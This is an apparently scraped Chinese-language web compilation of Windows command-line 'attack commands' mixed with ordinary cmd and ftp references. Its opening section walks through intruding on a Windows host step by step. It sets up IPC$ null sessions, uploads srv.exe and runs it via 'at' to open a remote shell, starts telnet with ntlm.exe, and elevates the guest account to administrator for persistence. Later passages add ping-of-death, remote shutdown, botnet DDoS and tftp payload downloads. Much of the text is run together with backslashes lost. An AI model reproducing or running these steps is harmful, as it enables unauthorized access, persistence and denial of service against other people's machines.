高级cmd攻击命令(如何用cmd命令攻击网站)

一 相关命令 建立空连接:net use \IPipc$ "" /user:"" (一定要注意:这一行命令中包含了3个空格)建立非空连接:net use \IPipc$ "用户名" /user:"密码"(同样有3个空格)映射默认共享:net use z: \IPc$ "密码" /user:"用户名"(即可将对方的c盘映射为自己的z盘，其他盘类推)如果已经和目标建立了ipc$，则可以直接用IP+盘符+$访问,具体命令 net use z: \IPc$删除一个ipc$连接net use \IPipc$ /del删除共享映射net use c: /del 删除映射的c盘，其他盘类推net use * /del 删除全部,会有提示要求按y确认提示:对于不熟悉命令行操作的朋友来说.建立ipc$连接后,可以在"我的电脑"或"网上邻居"右键映射网络驱动器,效果一样.二 经典入侵模式1. C:>net use \127.0.0.1IPC$ "" /user:"admintitrators"这是用《流光》扫到的用户名是administrators，密码为"空"的IP地址(空口令?哇,运气好到家了)，如果是打算攻击的话，就可以用这样的命令来与127.0.0.1建立一个连接，因为密码为"空"，所以第一个引号处就不用输入，后面一个双引号里的是用户名，输入administrators，命令即可成功完成。2. C:>copy srv.exe \127.0.0.1admin$先复制srv.exe上去，在流光的Tools目录下就有（这里的$是指admin用户的c:winntsystem32，大家还可以使用c$、d$，意思是C盘与D盘，这看你要复制到什么地方去了）。3. C:>net time \127.0.0.1查查时间，发现127.0.0.1 的当前时间是 2002/3/19 上午 11:00，命令成功完成。4. C:>at \127.0.0.1 11:05 srv.exe用at命令启动srv.exe吧（这里设置的时间要比主机时间快，不然你怎么启动啊，呵呵！）5. C:>net time \127.0.0.1再查查到时间没有？如果127.0.0.1 的当前时间是 2002/3/19 上午 11:05，那就准备开始下面的命令。6. C:>telnet 127.0.0.1 99这里会用到Telnet命令吧，注意端口是99。Telnet默认的是23端口，但是我们使用的是SRV在对方计算机中为我们建立一个99端口的Shell。虽然我们可以Telnet上去了，但是SRV是一次性的，下次登录还要再激活！所以我们打算建立一个Telnet服务！这就要用到ntlm了7.C:>copy ntlm.exe \127.0.0.1admin$用Copy命令把ntlm.exe上传到主机上（ntlm.exe也是在《流光》的Tools目录中）。8. C:WINNTsystem32>ntlm输入ntlm启动（这里的C:WINNTsystem32>指的是对方计算机，运行ntlm其实是让这个程序在对方计算机上运行）。当出现"DONE"的时候，就说明已经启动正常。然后使用"net start telnet"来开启Telnet服务！9.Telnet 127.0.0.1，接着输入用户名与密码就进入对方了，操作就像在DOS上操作一样简单！(然后你想做什么?想做什么就做什么吧,哈哈)为了以防万一,我们再把guest激活加到管理组10. C:>net user guest /active:yes将对方的Guest用户激活11. C:>net user guest 1234将Guest的密码改为1234,或者你要设定的密码12. C:>net localgroup administrators guest /add将Guest变为Administrator^_^(如果管理员密码更改，guest帐号没改变的话，下次我们可以用guest再次访问这台计算机).ipc$经典入侵步骤：1、net use \ipipc$ 密码 /user:用户名2、copy 文件名 \ipc$3、net time \ip4、at \ip 时间 命令5、入侵成功，连接你的肉鸡常用的网络命令net user 查看用户列表net user 用户名 密码 /add 添加用户net user 用户名 密码 更改用户密码net localgroup administrators 用户名 /add 添加用户到管理组net user 用户名 /delete 删除用户net user 用户名 查看用户的基本情况net user 用户名 /active:no 禁用该用户net user 用户名 /active:yes 启用该用户net share 查看计算机IPC$共享资源net share 共享名 查看该共享的情况net share 共享名=路径 设置共享。例如 net share c$=c:net share 共享名 /delete 删除IPC$共享net stop lanmanserver 关闭ipc$和默认共享依赖的服务net use 查看IPC$连接情况net use \ipipc$ "密码" /user:"用户名" ipc$连接net use \ipipc$ /del 删除一个连接net use z: \目标IPc$ "密码" /user:"用户名" 将对方的c盘映射为自己的z盘net use z: /delnet time \ip 查看远程计算机上的时间copy 路径:文件名 \ip共享名复制文件到已经ipc$连接的计算机上net view ip 查看计算机上的共享资源at 查看自己计算机上的计划作业at \ip 查看远程计算机上的计划作业at \ip 时间 命令(注意加盘符) 在远程计算机上加一个作业at \ip 计划作业ID /delete 删除远程计算机上的一个计划作业at \ip all /delete 删除远程计算机上的全部计划作业at \ip time "echo 5 > c:t.txt" 在远程计算机上建立文本文件t.txt；下面纯手打，上面是度娘给的taskkill /im 进程名 停止运行tasklisy 查看运行进程ipconfig 查看本机IPmd创建文件夹rd删除文件夹echo off >.txt|exit 添加文本echo 内容 >>.txt给文本添加内容copy复制文件net user 用户名 密码/add 创建一个普通账号 net localgroup administrators 用户名 /add 把账户加入超级用户组
Dos命令：需要手工在命令行状态下输入的网络命令。是一种面向磁盘的操作命令，主要包括目录操作类命令、磁盘操作类命令、文件操作类命令和其它命令。 https://baike.baidu.com/item/DOS%E5%91%BD%E4%BB%A4/5143255?fr=aladdin一：黑客：1）要有英语基础，：这是基础，每天要注意修炼。2）知道常用的黑客术语，3.）网络安全术语，如tcp/ip协议，APR协议4.）熟练掌握DOS命令和黑客工具，ping，netstat，net命令等，工具有远程入侵，5.）主流的编程语言以及脚本。（1.网页脚本,即网页代码，例如HTML,CSS,JAVAscript，asp，php，xml等（2.解释型语言，即perl，python，REBOL，Ruby等，也称为脚本语言，用于和底层的操作系统沟通，效果是效率差，源代码外露，一般用于网页服务器中，不用来开发软件产品。（3.混合型语言，Java和c#，处于解释型和编译型之间。（4.编译型语言，Java，c/c++。(5.汇编语言，即最接近于硬件的语言，但是用这个语言的人少。程序语言学习的顺序建议如下：Javascrip->解释型语言->混和型语言->编译型语言->汇编语言。书上这样给的。但是根据我们学习的安排进程，应该是c语言->c++->网页脚本语言->解释型语言->混合型语言->编译型语言->汇编语言肉鸡：任黑客宰割的计算机。木马：表面上伪装成正常的程序，一旦运行，入侵者就会获取系统的整个控制权限。网页木马：表面上伪装成普通的网页文件，或者将正常的网页文件插进去恶意代码，一旦访问这些网络文件，网页木马就会利用对方的系统或者浏览器存在的漏洞自动将木马的服务器端配置好然后下载到访问者的计算机上自动执行。挂马：这个是在别人的网站文件里放网页木马，或者将代码潜入到对方的正常网页文件里，使得浏览器中马。后门：当黑客控制了目标主机后，还可以在对方系统植入特定程序，或者修改某些设置。并且这些变化是从表面上很难被察觉。黑客可以使用相应的程序或者方法与该计算机建立连接，重新控制这台计算机。所谓后门便是小偷配置了主人家的钥匙。随时随地就可以进出主人房间不被发现。IPC$共享“命名管道”资源，即为了让进程之间通信而开放的命名管道，可以通过验证用户名和密码获着相应权限，在远程管理计算机和查看计算机的共享资源时使用。，通过提供可信任的用户名和口令，连接双方可以建立安全的通道并以此通道进行加密数据的交换，从而实现对远程计算机的访问。 IPC$ 是 NT/2000 的一项新功能，它有一个特点，即在同一时间内，两个 IP 之间只允许建立一个连接。 NT/2000 在提供了 ipc$ 功能的同时，在初次安装系统时还打开了默认共享，即所有的逻辑共享 (c$,d$,e$ …… ) 和系统目录 winnt 或 windows(admin$) 共享。所有的这些，微软的初衷都是为了方便管理员的管理，但在有意无意中，导致了系统安全性的降低。不过要注意一点：建立 IPC$ 连接的操作会在 Event Log 中留下记录，不管你是否登录成功https://baike.baidu.com/item/%E7%A9%BA%E8%BF%9E%E6%8E%A5/1993355?fr=aladdin&fromid=9482475&fromtitle=ipc%24shell 命令执行环境。webshell是以ASP,PHP,JSP或者CGI等网页文件形式存在的一种命令执行环境，即一种网页后门。“web”的含义是显然需要服务器开放web服务，“shell”的含义是取得对服务器某种程度上操作权限。webshell常常被称为入侵者通过网站端口对网站服务器的某种程度上操作的权限。由于webshell其大多是以动态脚本的形式出现，也有人称之为网站的后门工具。溢出：大致分为两种，1.堆溢出2.栈溢出。溢出即是缓冲区溢出，即程序对接收的输入数据没有执行有效的检测而导致错误。后是程序崩溃，或者执行攻击者的任务。缓冲区溢出漏洞主要是由于许多软件没有对缓冲区进行检查而造成。具体溢出就看看下面链接吧。https://baike.baidu.com/item/%E6%BA%A2%E5%87%BA/1775951?fr=aladdin1.ip：互联网中，利用IP地址，可以找到目标主机。想要攻击某互联网主机，就先确定目标主机的域名或者IP地址。IP即是主机编址方式，每个IP地址长32bit，每一个bit是4个字节。IP的表示方法是'点分十进制表示法'ip信息包括 IP地址，子网掩码，默认网关和DNS。此4个只有协同合作，用户便可以访问互联网并被互联网中的计算机所访问（采用静态IP地址接入互联网时，ISP（服务商）为用户提供全部的IP信息）。企业网络使用的IP地址，由提供互联网的服务商ISP分配。私有的IP地址则由网络管理员自由分配。但是是网络内部所有计算机的IP地址不能相同，否则。发生IP地址冲突，导致网络连接失败。子网掩码是与IP地址相结合的使用的一种技术，作用有两种，1.确定地址的网络号和主机号。2.用于将一个大的IP网络划分为若干个小子网络。默认网关：是指一台主机找到可用的网关，就把数据包发送给默认指定的网关。由一个网关向另一个网关发送信息时，也必须经过一道关口，这道关口就是网关。DNS：DNS服务用于将用户的域名请求转换为IP地址。若企业网络没有提供DNS服务，则DNS服务器的IP地址应是ISP的DNS服务器。如果企业网络自己提供的dns服务，则dns服务器的IP地址就是内部DNS服务器的IP地址.IP 地址的分类互联网中的每个接口都有唯一的IP地址与其对应，该地址也是有一定结构。以下是IP的https://baike.baidu.com/item/IP%E5%9C%B0%E5%9D%80/150859A类的IP地址由一个字节的网络地址和3个字节的主机地址组成。网络地址的最高位必须是0，可用A类网络有126个，每个网络能容纳1亿多个主机地址范围1.0.0.1~126.255.255.254.B类IP地址：2个字节的网络地址和两个字节的主机地址组成，网络地址的最高位必须是10，可用的网络有16382个，每个网络能容纳6万多个主机，地址范围有128.0.0.1~191.255.255.254.C类的IP地址：由3个字节的网络地址和1个字节的主机地址。组成网络地址最高位是110，可用的网络达209万，每个网络能容纳254个主机，地址范围是192.0.0.1~223.255.255.254D类的地址用于多点广播，第一个字节以1110开始，它是一个专门保留的地址，并不指向特定的网络。多点广播地址用来一次寻址一组计算机，他标识共享同一协议的一组计算机，地址范围为224.0.0.1~239.255.255.254E类的IP地址以11110开始，为了将来使用而保留。全零（0.0.0.0）地址对应于当前主机；全1的IP地址（255.255.255.255）是当前子网的广播地址，地址范围为240.0.0.1~255.255.255.254注意 全零和全1的地址禁止使用，全零代表本网络，而全一是广播地址（在CISCO上可以使用全零地址）常用的是ABC这三类地址。2.认识进程所谓进程便是程序在计算机上的一次执行活动。开始运行一个程序时，就启动一个进程。进程还分为系统进程和用户进程。凡是用于完成操作系统的各种功能的进程就是系统进程，且时处于运动状态下的操作系统本身；用户进程就是所有用户启动的进程。进程是操作系统进行资源分配的单位。3.端口是计算机和外界通信交流的出口。硬件领域的端口又称为接口，如USB端口，串行端口等。软件领域端口一般指互联网中面向连接服务和无连接服务的通信协议端口，是一种抽象的软件结构，包括一些数据结构和i/o（基本输入输出）缓冲区。端口是传输层的内容，是面向连接的，对应网络上常见的一些服务，这些常见的服务可以划分为TCP端口（面向连接，如打电话）和使用UDP端口（无连接，如写信）两种。4.虚拟机环境黑客无论是在测试和学习黑客工具的操作方法还是在攻击时候，不会拿实体计算机来尝试，而是在计算机中搭建虚拟环境，即在自己已在的系统中，利用虚拟机创建一个内在的系统，该系统可以与外界独立，但与已经存在的系统建立网络关系，从而方便使用某些黑客工具进行攻击模拟，并且一旦黑客工具对虚拟机造成破坏，也会很快就会恢复，不会影响本来的计算机系统，使得操作更安全。二：1.window系统的命令行服务器管理 和网络管理是系统和网络管理者的主要内容。window系统本身 就带着一些病毒和受残损的文件，常使用户无法正常工作。但是熟练掌握命令行的使用方法，能保障计算机系统的安全性能。2.Dos系统dos是一组控制计算机 工作的程序，专门用来管理计算机中各种软件，硬件资源，负责监视和 控制计算机的全部工作过程。向用户提供了一整套使用 计算机系统的 命令和方法，还向用户提供了一套组织和应用磁盘上信息的方法。dos的 功能：执行命令和程序:当用户键入合法命令和文件名后，dos就根据文件的存储地址到内存 或外存上查找用户所需的程序，并根据用户的 要求使得CPU运行，否则则出现出错信息 ，告诉用户服务，在这里，cpu承担了使用者，计算机，应用程序三者之间的中间人。内存管理：分配内存空间，保护内存，使得任何一个程序所占的空间不遭到破坏，同硬件相配合，可以设置一个最佳的操作环境。设备管理：为用户提供使用各种输入或输出的设备（如键盘，磁盘，打印机，和显示器等）的操作方法。可以通过dos方便的实现内存和外存之间的数据传送和存取。文件管理;为用户提供一种简单的存取和管理信息方法。通过dos管理文件目录，为文件分配磁盘存储空间，建立，复制，删除，读/写和检索各类文件等。作业管理：作业是指用户提交给计算机系统的一个独立的计算任务，包括源程序，数据和相关命令。作业管理是对用户提交的诸多作业进行管理，包括作业的组织，控制和 调度等。文件与目录：文件是存储于外存储器中具有名字的一组相关信息集合，在dos下的所有程序和数据都是以文件形式存入磁盘。自己编制的存入磁盘的程序就是文件。执行dos 外部的命令就调用此命令文件的过程。内部命令隐藏在dos的io.sys和msdos.sys中，当dos启动计算机时候使用者输入一个dos 命令时候，该指令先交由command.com分析，所以command被称为命令处理器，其功能就是判断使用者 所输入的指令是内部命令还是外部命令。若是内部，交给io.sys或msdos.sys处理，反之则到磁盘上找寻该档案，即执行该指令。WiFiWiFi实际上是一种高频无线电信号，它是 一种可将个人计算机。手机等终端以无线方式互相连接的技术。无线网络在无线局域网上的范畴内是指“无线相容性认证".实质上是一种商业认证。也是无线联网技术。以前通过网线连接计算机，而无线保真则是通过无线电波来联网。常见的就是用一个无线路由器，在这个无线路由器的电波覆盖的有效范围内就可以采用无线保真方式进行联网，若无线路由器连接了一条ADSL的线路或者别的上网线路，电脑的无线路由器的参数设置。192.168.1.1连接问题：手机连不上路由器，可能是手机连接该无线路由器的无线信号，并且在手机上保存了无线网络的配置文件，但是改变了无线路由器的加密方式或者密钥。手机不能自动连接到该信号，需要先删除原有的无线配置文件再重新连接。若是手机无线显示已连接，但是不能上网，可能是手机的IP地址等参数配置错误。推荐使用默认的自动获取默认的IP地址。作者：笑雅雅链接：https://www.jianshu.com/p/e51947fe4241来源：简书 著作权归作者所有。商业转载请联系作者获得授权，非商业转载请注明出处。
最简单的 ping ip -t -l 65500

10个很酷的cmd命令：1、ipconfig功能：查询本机IP地址。操作方法：只要在在打开的cmd命令界面中输入“ipconfig”就可以了。2、msg功能：向对方电脑发送一条文本提示。操作方法：首先你要知道对方的IP地址，接下来输入命令“msg /server:对方电脑IP * ”。在“*”后输入你要发送的内容即可。3、Net user功能：查看本机账户情况。操作方法：和ipconfig一样，net user也有很多衍生的命令后缀，比方说“net user xxx 123456 /add”，输入后就会在系统中创建一个名为“xxx”的新用户，而新用户密码则是“123456”。4、Net share作用：查看共享资源。操作方法：在cmd界面中输入“net share”查看所有已共享资源，然后输入“net share 要删除的共享文件夹 /delete”就可以啦！5、Nslookup作用：检查网站IP地址。操作方法：在提示符状态输入“nslookup 对方网站域名”，哒哒哒哒……结果出来了！6、Netsh wlan show作用：探秘Wi-Fi配置文件。操作方法：在提示符状态输入命令“netsh wlan show profile SSID key=clear”，输入完成后Windows会自动返回当前已连接WIFI的详细信息，包括SSID和连接密码。当前这里有一个前提，那就是你现在已经成功连接了。7、telnet作用：看电影《星球大战》。操作方法：在提示符状态输入命令“telnet towel.blinkenlights.nl”，输入完成后稍等一会即可，电影会自动开演！8、|作用：将命令结果输出到剪贴板。操作方法：在需要导出结果的命令后方添加“|”，再加入导出位置就可以了。比方说“| clip”是导出到剪贴板，“| xxx.txt”是导出到xxx.txt。总之，你需要什么地方用，就放到哪儿，“|”支持绝大多数CMD指令。9、&&作用：将多个命令“连接”起来，一步运行多组命令操作方法：&&是CMD里一项“命令连接”语句，直接放在要连接的命令行中间即可。效果就是下图所示，一次输入后CMD会顺序执行所有命令。10、dfrg.msc作用：硬盘碎片整理工具。磁盘碎片整理程序，windows组件之一。操作方法：主要用于系统对硬盘的文件管理。该程序可将磁盘的碎片压缩，转移，优化磁盘的文件系统。定期进行磁盘碎片整理，可以改善硬盘的读写速率。还有专门的磁盘整理软件，如windows优化大师集成的磁盘整理程序，o&o Defrag等。

1、driverquery驱动程序仍然是PC上安装的最重要的软件之一。配置不当或缺少驱动程序会导致各种麻烦，因此可以访问PC上的内容列表。这正是“driverquery”命令的作用。您可以将其扩展为“driverquery -v”以获取更多信息，包括安装驱动程序的目录。2、Ipconfig此命令会显示你计算机当前使用的IP地址。但是，如果您在路由器后面（如今大多数计算机），您将收到路由器的本地网络地址。3、Netstat输入命令“netstat -an”将为您提供当前打开的端口和相关IP地址的列表。此命令还将告诉您端口所处的状态－侦听，建立或关闭。4、Ping键入“ping”后跟IP地址或Web域将向指定地址发送一系列测试数据包。如果他们到达并返回，您知道该设备能够与您的PC通信；如果它失败了，你知道设备和你的计算机之间存在阻塞通信的东西。这可以帮助您确定问题的根源是不正确的配置还是网络硬件的故障。5、PathPing这是一个更高级的ping版本，如果您的PC和您正在测试的设备之间有多个路由器，这将非常有用。与ping一样，您可以通过键入“pathping”后跟IP地址来使用此命令，但与ping不同，路径还会转发有关测试数据包所采用路由的一些信息。6、shutdown关闭你的计算机。当然，这对于已经很容易访问的关机按钮来说是多余的，但是没有多余的是“shutdown / r / o”命令，它会重启你的电脑并启动高级启动选项菜单，你可以在这里访问安全模式和Windows恢复实用程序。如果要重新启动计算机以进行故障排除，这非常有用。7、systeminfo此命令将为您提供计算机的详细配置概述。该列表涵盖了您的操作系统和硬件。例如，您可以查找原始Windows安装日期，上次启动时间，BIOS版本，总内存和可用内存，已安装的修补程序，网卡配置等。8、sfcSystem File Checker是一种自动扫描和修复工具，专注于Windows系统文件。您需要以管理员权限运行命令提示符并输入命令“sfc / scannow”。如果SFC发现任何损坏或丢失的文件，它将自动使用Windows为此目的保留的备份副本替换它们。该命令可能需要半小时才能在较旧的笔记本电脑上运行。9、tasklist您可以使用“tasklist”命令提供PC上运行的所有任务的最新列表。虽然在任务管理器中有些多余，但命令有时可能会在该实用程序中查找隐藏在视图中的任务。10、taskkill出现在“tasklist”命令中的任务将具有与之关联的可执行文件和进程ID。可以使用“taskkill -im”后跟可执行文件的名称或“taskkill -pid”后跟进程ID强制停止程序。同样，这对于任务管理器来说有点多余，但您可以使用它来杀死其他无响应或隐藏的程序。

首先，电脑的系统要相同（这样防火墙的等级相同）； 其次，所针对的电脑要在一个网域；方法：开始菜单—运行—输入CMD—回车，然后在打开的命令提示符窗口中输入：shutdown -s -m \ip地址 ，回车即可。具体命令，参照：http://zhidao.baidu.com/question/1817633159546503908.html?fr=iks&word=cmd%B9%A5%BB%F7%C3%FC%C1%EE&ie=gbk
楼上那个是应该用记事本写,不好在CMD命令下写的 而且只是加密CMD,防止别人攻击时调用自己的命令工具建议先熟悉一下各种命令 比如同时用多台主机ping一个地址，构成一个简单的ddos攻击，当然前提是你必须有足够的肉鸡
今天给大家做一个加密CMD防御入侵攻击的教程 简单的几句命令就可以搞定了，没有设么技术含量《希望大家都能在平凡的操作中能发现一些意想不到的技巧》 @echo offcolor aclsprompttitle 啊祥专用set pass=0set times=0echoechoecho:startset /p pass=想进入此程序请输入CMD密码：if %pass%==keai goto okif %times%==0 goto endset /A times=%times%-1:endexitcls:oktitle 啊祥专用 保存为*.BAT可就可以了

CMD命令 net use ipipc$ " " /user:" " 建立IPC空链接net use ipipc$ "密码" /user:"用户名" 建立IPC非空链接net use h: ipc$ "密码" /user:"用户名" 直接登陆后映射对方C：到本地为H:net use h: ipc$ 登陆后映射对方C：到本地为H:net use ipipc$ /del 删除IPC链接net use h: /del 删除映射对方到本地的为H:的映射net user 用户名　密码　/add 建立用户net user guest /active:yes 激活guest用户net user 查看有哪些用户net user 帐户名 查看帐户的属性net localgroup administrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意：administrator后加s用复数net start 查看开启了哪些服务net start 服务名　 开启服务；(如:net start telnet， net start schedule)net stop 服务名 停止某服务net time 目标ip 查看对方时间net time 目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息net view 查看本地局域网内开启了哪些共享net view ip 查看对方局域网内开启了哪些共享net config 显示系统网络设置net logoff 断开连接的共享net pause 服务名 暂停某服务net send ip "文本信息" 向对方发信息net ver 局域网内正在使用的网络连接类型和信息net share 查看本地开启的共享net share ipc$ 开启ipc$共享net share ipc$ /del 删除ipc$共享net share c$ /del 删除C：共享net user guest 12345 用guest用户登陆后用将密码改为12345net password 密码 更改系统登陆密码netstat -a 查看开启了哪些端口,常用netstat -annetstat -n 查看端口的网络连接情况，常用netstat -annetstat -v 查看正在进行的工作netstat -p 协议名 例：netstat -p tcq/ip 查看某协议使用情况（查看tcp/ip协议使用情况）netstat -s 查看正在使用的所有协议使用情况nbtstat -A ip 对方136到139其中一个端口开了的话，就可查看对方最近登陆的用户名（03前的为用户名）-注意：参数-A要大写tracert -参数 ip(或计算机名) 跟踪路由（数据包），参数：“-w数字”用于设置超时间隔。ping ip(或域名) 向对方主机发送默认大小为32字节的数据，参数：“-l[空格]数据包大小”；“-n发送数据次数”；“-t”指一直ping。ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址，ipconfig可用参数“/all”显示全部配置信息tlist -t 以树行列表显示进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内)kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内)del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件，/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件，“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件二：del /S /Q 目录 或用：rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。（二个命令作用相同）move 盘符路径要移动的文件名　存放移动文件的路径移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中，"> "和"> >" 是重定向命令at id号 开启已注册的某个计划任务at /delete 停止所有计划任务，用参数/yes则不需要确认就直接停止at id号 /delete 停止某个已注册的计划任务at 查看所有的计划任务at ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机finger username @host 查看最近有哪些用户登陆telnet ip 端口 远和登陆服务器,默认端口为23open ip 连接到IP（属telnet登陆后的命令）telnet 在本机上直接键入telnet 将进入本机的telnetcopy 路径文件名1　路径文件名2 /y 复制文件1到指定的目录为文件2，用参数/y就同时取消确认你要改写一份现存目录文件copy c:srv.exe ipadmin$ 复制本地c:srv.exe到对方的admin下cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件，注：2st.txt文件头要空三排，参数：/b指二进制文件，/a指ASCLL格式文件copy ipadmin$svv.exe c: 或:copyipadmin$*.* 复制对方admini$共享下的srv.exe文件（所有文件）至本地C：xcopy 要复制的文件或目录树　目标地址目录名 复制文件和目录树，用参数/Y将不提示覆盖相同文件tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:server.exe 登陆后，将“IP”的server.exe下载到目标主机c:server.exe 参数：-i指以二进制模式传送，如传送exe文件时用，如不加-i 则以ASCII模式（传送文本文件模式）进行传送tftp -i 对方IP　put c:server.exe 登陆后，上传本地c:server.exe至主机ftp ip 端口 用于上传文件至服务器或进行文件操作，默认端口为21。bin指用二进制方式传送（可执行文件进）；默认为ASCII格式传送(文本文件时)route print 显示出IP路由，将主要显示网络地址Network addres，子网掩码Netmask，网关地址Gateway addres，接口地址Interfacearp 查看和处理ARP缓存，ARP是名字解析的意思，负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息start 程序名或命令 /max 或/min 新开一个新窗口并最大化（最小化）运行某程序或命令mem 查看cpu使用情况attrib 文件名(目录名) 查看某文件（目录）的属性attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档，只读，系统，隐藏 属性；用＋则是添加为某属性dir 查看文件，参数：/Q显示文件及目录属系统哪个用户，/T:C显示文件创建时间，/T:A显示文件上次被访问时间，/T:W上次被修改时间date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间，而不必输入新日期和时间set 指定环境变量名称=要指派给变量的字符 设置环境变量set 显示当前所有的环境变量set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量pause 暂停批处理程序，并显示出：请按任意键继续....if 在批处理程序中执行条件处理（更多说明见if命令及变量）goto 标签 将cmd.exe导向到批处理程序中带标签的行（标签必须单独一行，且以冒号打头，例如：“：start”标签）call 路径批处理文件名 从批处理程序中调用另一个批处理程序 （更多说明见call /?）for 对一组文件中的每一个文件执行某个特定命令（更多说明见for命令及变量）echo on或off 打开或关闭echo，仅用echo不加参数则显示当前echo设置echo 信息 在屏幕上显示出信息echo 信息 >> pass.txt 将"信息"保存到pass.txt文件中findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hellofind 文件名 查找某文件title 标题名字 更改CMD窗口标题名字color 颜色值 设置cmd控制台前景和背景颜色；0＝黑、1＝蓝、2＝绿、3＝浅绿、4＝红、5＝紫、6＝黄、7=白、8=灰、9=淡蓝、A＝淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白prompt 名称 更改cmd.exe的显示的命令提示符(把C:、D:统一改为：EntSky )三：ver 在DOS窗口下显示版本信息winver 弹出一个窗口显示版本信息（内存大小、系统版本、补丁版本、计算机名）format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例：format D: /FS:NTFSmd　目录名 创建目录replace 源文件　要替换文件的目录 替换文件ren 原文件名　新文件名 重命名文件名tree 以树形结构显示出目录，用参数-f 将列出第个文件夹中文件名称type 文件名 显示文本文件的内容more 文件名 逐屏显示输出文件doskey 要锁定的命令＝字符doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行，重新调用win2k命令，并创建宏)。如：锁定dir命令：doskey dir=entsky (不能用doskey dir=dir)；解锁：doskey dir=taskmgr 调出任务管理器chkdsk /F D: 检查磁盘D并显示状态报告；加参数/f并修复磁盘上的错误tlntadmn telnt服务admn,键入tlntadmn选择3，再选择8,就可以更改telnet服务默认端口23为其它任何端口exit 退出cmd.exe程序或目前，用参数/B则是退出当前批处理脚本而不是cmd.exepath 路径可执行文件的文件名 为可执行文件设置一个路径。cmd 启动一个win2K命令解释窗口。参数：/eff、/en 关闭、开启命令扩展；更我详细说明见cmd /?regedit /s 注册表文件名 导入注册表；参数/S指安静模式导入，无任何提示；regedit /e 注册表文件名 导出注册表cacls 文件名　参数 显示或修改文件访问控制列表（ACL）——针对NTFS格式时。参数：/D 用户名:设定拒绝某用户访问；/P 用户名:perm 替换指定用户的访问权限；/G 用户名:perm 赋予指定用户访问权限；Perm 可以是: N 无，R 读取， W 写入， C 更改(写入)，F 完全控制；例：cacls D: est.txt /D pub 设定d: est.txt拒绝pub用户访问。cacls 文件名 查看文件的访问用户权限列表REM 文本内容 在批处理文件中添加注解netsh 查看或更改本地网络配置情况四：IIS服务命令：iisreset /reboot 重启win2k计算机（但有提示系统将重启信息出现）iisreset /start或stop 启动（停止）所有Internet服务iisreset /restart 停止然后重新启动所有Internet服务iisreset /status 显示所有Internet服务状态iisreset /enable或disable 在本地系统上启用（禁用）Internet服务的重新启动iisreset /rebootonerror 当启动、停止或重新启动Internet服务时，若发生错误将重新开机iisreset /noforce 若无法停止Internet服务，将不会强制终止Internet服务iisreset /timeout Val在到达逾时间（秒）时，仍未停止Internet服务，若指定/rebootonerror参数，则电脑将会重新开机。预设值为重新启动20秒，停止60秒，重新开机0秒。FTP 命令： (后面有详细说明内容)ftp的命令行格式为:ftp －v －d －i －n －g[主机名] －v 显示远程服务器的所有响应信息。－d 使用调试方式。－n 限制ftp的自动登录,即不使用.netrc文件。－g 取消全局文件名。help [命令] 或 ？[命令] 查看命令说明bye 或 quit 终止主机FTP进程,并退出FTP管理方式.pwd 列出当前远端主机目录put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中mget [remote-files] 从远端主机接收一批文件至本地主机mput local-files 将本地主机中一批文件传送至远端主机dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件ascii 设定以ASCII方式传送文件(缺省值)bin 或 image 设定以二进制方式传送文件bell 每完成一次文件传送,报警提示cdup 返回上一级目录close 中断与远程服务器的ftp会话(与open对应)open host[port] 建立指定ftp服务器连接,可指定连接端口delete 删除远端主机中的文件mdelete [remote-files] 删除一批文件mkdir directory-name 在远端主机中建立目录rename [from] [to] 改变远端主机中的文件名rmdir directory-name 删除远端主机中的目录status 显示当前FTP的状态system 显示远端主机系统类型user user-name [password] [account] 重新以别的用户名登录远端主机open host [port] 重新建立一个新的连接prompt 交互提示模式macdef 定义宏命令lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录chmod 改变远端主机的文件权限case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母cd remote－dir 进入远程主机目录cdup 进入远程主机目录的父目录 !引用！

牛批，我刚入门，不懂